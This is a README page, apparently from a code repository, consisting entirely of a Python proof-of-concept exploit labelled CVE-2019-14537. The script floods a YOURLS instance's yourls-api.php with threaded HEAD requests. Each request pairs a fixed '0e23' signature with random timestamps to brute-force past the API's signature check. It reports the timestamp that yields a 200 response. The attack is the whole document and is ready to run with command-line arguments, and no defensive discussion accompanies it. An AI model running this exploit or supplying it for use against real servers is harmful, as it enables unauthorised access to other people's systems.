README.md
Rendering markdown...
import socket
from time import time,sleep
import threading
import random
import string
from timeit import default_timer as timer
import argparse
import sys
start = timer()
found = False
numThreads = 10
def attack(ip, vhost, path, port, e):
numRequests = 0
global found
current_time = str(time()).split(".")[0]
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect((ip, int(port)))
while(not found):
try:
payload = ''.join(random.choice(string.digits) for i in range(20))
temp = str(current_time) + "." + str(payload)
requestGET = "HEAD {}?timestamp={}&signature=0e23&action=stats HTTP/1.1\r\nHost: {}\r\nConnection: keep-alive\r\n\r\n".format(path, temp, vhost)
c.send(requestGET.encode())
r = c.recv(200).decode()
if(len(r) == 0):
c.close()
c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect((ip, int(port)))
if "200" in r:
print("[+] 200 Code\n" + r)
print("[+] Timestamp: {}".format(str(current_time) + "." + str(payload)))
found = True
if numRequests % 10 == 0 and e == 0:
current_time = str(time()).split(".")[0]
requestsMade = numThreads * numRequests
elapsed = timer() - start
reqPerSec = requestsMade / elapsed
print("[*] {}r | {}r/s".format(requestsMade, int(reqPerSec)))
sys.stdout.write("\033[F")
numRequests += 1
except Exception as e:
print("[-] {})".format(e))
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='CVE-2019-14537 PoC')
parser.add_argument('ip', metavar='ip', type=str, nargs='?',
help='Yourls IP')
parser.add_argument('--vhost', default="127.0.0.1", help='host name (domain name)')
parser.add_argument('--threads', default=numThreads, help='number of threads (default: 10)')
parser.add_argument('--path', default="/yourls-api.php", help='yourls-api.php path (default: /yourls-api.php)')
parser.add_argument('--port', default=80, help='port (default: 80)')
args = parser.parse_args()
if(args.ip != None):
print("[*] Attacking {}:{} with {} threads".format(args.ip, args.port, args.threads))
numThreads = int(args.threads)
for i in range(0, int(args.threads)):
x = threading.Thread(target=attack, args=(args.ip, args.vhost, args.path, args.port, i))
x.start()